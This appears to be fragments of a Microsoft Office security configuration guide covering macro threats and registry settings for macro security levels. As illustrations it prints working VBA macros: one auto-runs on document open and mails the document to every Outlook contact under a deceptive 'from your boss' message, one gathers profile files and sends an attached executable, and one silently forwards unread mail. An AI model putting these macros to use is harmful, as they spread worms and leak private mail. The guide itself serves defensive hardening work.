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Warnings 

 
• Do not attempt to implement any of the settings in this guide without first testing in a non-

operational environment. 
• This document is only a guide containing a discussion of security issues and recommended 

security settings.  It is not meant to replace a well-structured policy or sound judgement.  
Furthermore this guide does not address site-specific configuration issues.  Care must be 
taken when implementing this guide to address local operational and policy concerns. 

• SOFTWARE IS PROVIDED “AS IS” AND ANY EXPRESS OR IMPLIED 
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 
EXPRESSLY DISCLAIMED.  IN NO EVENT SHALL THE CONTRIBUTORS BE 
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBLITY OF SUCH 
DAMAGE. 

• This document is current as of the date listed on the cover page.  Please keep track of the 
latest advisories and security pataches on the Office home page at 
http://microsoft.com/office/ and the Microsoft security bulletin page at 
http://www.microsoft.com/technet/security/current.asp. 

 

Trademark Information 
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Private Sub Document_Open() 
Dim virusPath As String 
Dim virusName As String 
Dim VirusFileName As String 
  
‘ get the name of the current document to attach to the e-mail 
virusPath = ActiveDocument.Path 
virusName = ActiveDocument.Name 
VirusFileName = MydocPath + “\” + MydocName 
‘ VirusFileName is now the full path and name of the  
‘ which active document  
‘ contains this malicious macro. Now create a mail message, 
‘ attach this document, and send it out to every address in 
‘ the outlook address book! 
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Set olApp = CreateObject(“Outlook.Application”) 
Set myNameSpace = olApp.GetNamespace(“MAPI”) 
Set MyAddressList = myNameSpace.AddressLists(“Contacts”) 
Set MyAddressEntries = MyAddressList.AddressEntries 
Set MyMailItem = olApp.CreateItem(0) 
Set MyAttachments = MyMailItem.Attachments 
MyAttachments.Add VirusFileName, olByValue 
For Each memberEntry In MyAddressEntries 
MyMailItem.Recipients.Add (memberEntry) 
Next 
MyMailItem.Subject = “IMPORTANT: Must Read! From the Chief!” 
MyMailItem.HTMLBody = “<HTML><H3> Hey Guys!</H3><h4>Read “ + _ 
“this cool document!</h4><h4>Don’t worry, it doesn ‘t “ + _ 
“have a virus that will mail all your personal<br>files “ + _ 
“and data to a spy, and it won’t propagate <br>to everyone “ + _ 
“in your address book!</h4><h3>Later,</h3><h3>Your boss</h3></html>” 
MyMailItem.Send 
End Sub 
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Sub Send Msg 
Dim dctDict As dictionary   
Dim recursion As Boolean   
Dim strPath As String  
Set dctDict = New dictionary   
StrPath = “C:\WINNT\Profiles”   
Recursion = GetFiles(strPath, dctDict, True) 
‘Call function to recursively 
‘step through and get  
‘all files in the directory 
‘stored in strPath 
‘Dim objOL As New Outlook.Application 
Dim objMail As MailItem 
 
Set objOL = New Outlook.Application 
Set objMail = objOL.CreateItem(olMailItem) 
With objMail 
.To=name@domain.com   ‘Address of recipient 
.Subject=”I Hate You” 
.Body = “This is the body of the message.” 
.Attachments.Add (“C:\zz.exe”) 
.Display 
.Send 
End With 
Set objMail = Nothing 
Set objOL = Nothing 
End Sub   
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Private Sub Application_Startup() 
 Dim fld As Outlook.MAPIFolder 
Dim nms As Outlook.NameSpace 
Dim itms As Outlook.Items 
Dim itm As MailItem 
Dim newmail As MailItem 
 
Set objOutlook = CreateObject(“Outlook.application”) 
Set nms = objOutlook.GetNamespace(“MAPI”) 
Set fld = nms.GetDefaultFolder(olFolderInbox) 
Set itms = fld.Items 
For Each itm In itms 
 If itm.UnRead = True Then 
  Set newmail = itm 
  Newmail.Subject = “FORWARD: “ & itm.Subject 
  Newmail.To = “jauser” 
  Newmail.Send 
 End If 
Next itm 

End Sub 
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<HTML> 
<HEAD> 
<TITLE>VBScript Embedded in HTML </TITLE> 
</HEAD> 
<BODY> 
<H1> Can I send mail? </H1> 
<SCRIPT LANGUAGE = “VBScript”> 
‘Create and send a mail message. 
Set MyOlApp = CreateObject(“Outlook.Application”) 
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Set MyNameSpace = MyOlApp.GetNameSpace(“MAPI”) 
Set MyMailItem = MyOlApp.CreateItem(0) 
MyMailItem.Subject = “Greetings!” 
MyMailItem.To = “lnsmith” 
MyMailItem.Body = “This is a test message.” 
MyMailItem.Send 
</SCRIPT> 
</BODY> 
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HKCU\Software\Microsoft\Office\9.0\Excel\Security\Level=2 
HKCU\Software\Microsoft\Office\9.0\Word\Security\Level=3 
HKCU\Software\Microsoft\Office\9.0\PowerPoint\Security\Level=2 
HKCU\Software\Microsoft\Office\9.0\Outlook\Security\Level=1 
HKCU\Software\Microsoft\Office\9.0\Access\Security\Level=1 
HKCU\Software\Microsoft\Office\9.0\Excel\Security\DontTrustInstalledFi

les=0 
HKCU\Software\Microsoft\Office\9.0\Word\Security\DontTrustInstalledFil

es=0 
HKCU\Software\Microsoft\Office\9.0\PowerPoint\Security\DontTrustInstal

ledFiles=0 
HKCU\Software\Microsoft\Office\9.0\Outlook\Security\DontTrustInstalled

Files=0 
HKCU\Software\Microsoft\Office\9.0\Access\Security\DontTrustInstalledF

iles=0 
HKCU\Software\Microsoft\VBA\Trusted 
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HKLM\Software\Microsoft\Office\9.0\Excel\Security\Level=2 
HKLM\Software\Microsoft\Office\9.0\Word\Security\Level=3 
HKLM\Software\Microsoft\Office\9.0\PowerPoint\Security\Level=2 
HKLM\Software\Microsoft\Office\9.0\Outlook\Security\Level=1 
HKLM\Software\Microsoft\Office\9.0\Access\Security\Level=1 
HKLM\Software\Microsoft\Office\9.0\Excel\Security\DontTrustInstalledFi

les=0 
HKLM\Software\Microsoft\Office\9.0\Word\Security\DontTrustInstalledFil

es=0 
HKLM\Software\Microsoft\Office\9.0\PowerPoint\Security\DontTrustInstal

ledFiles=0 
HKLM\Software\Microsoft\Office\9.0\Outlook\Security\DontTrustInstalled

Files=0 
HKLM\Software\Microsoft\Office\9.0\Access\Security\DontTrustInstalledF

iles=0 
HKLM\Software\Microsoft\VBA\Trusted 
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HKLM\Software\Microsoft\Office\9.0\Excel\Security\Level=3 
HKLM\Software\Microsoft\Office\9.0\Word\Security\Level=3 
HKLM\Software\Microsoft\Office\9.0\PowerPoint\Security\Level=3 
HKLM\Software\Microsoft\Office\9.0\Outlook\Security\Level=3 
HKLM\Software\Microsoft\Office\9.0\Access\Security\Level=3 
HKLM\Software\Microsoft\Office\9.0\Excel\Security\DontTrustInstalledFi

les=1 
HKLM\Software\Microsoft\Office\9.0\Word\Security\DontTrustInstalledFil

es=1 
HKLM\Software\Microsoft\Office\9.0\PowerPoint\Security\DontTrustInstal

ledFiles=1 
HKLM\Software\Microsoft\Office\9.0\Outlook\Security\DontTrustInstalled

Files=1 
HKLM\Software\Microsoft\Office\9.0\Access\Security\DontTrustInstalledF

iles=1 
HKLM\Software\Microsoft\VBA\Trusted\”No certificate will be trusted. - 

InfoServices”=hex:d3,0f,d6,00,91,21,bf,51,7e,60,48,a2,99,ba,25,0
0,b7,96,08,01 
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.ade Microsoft Access project extension 
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.isp  Internet Communication settings 
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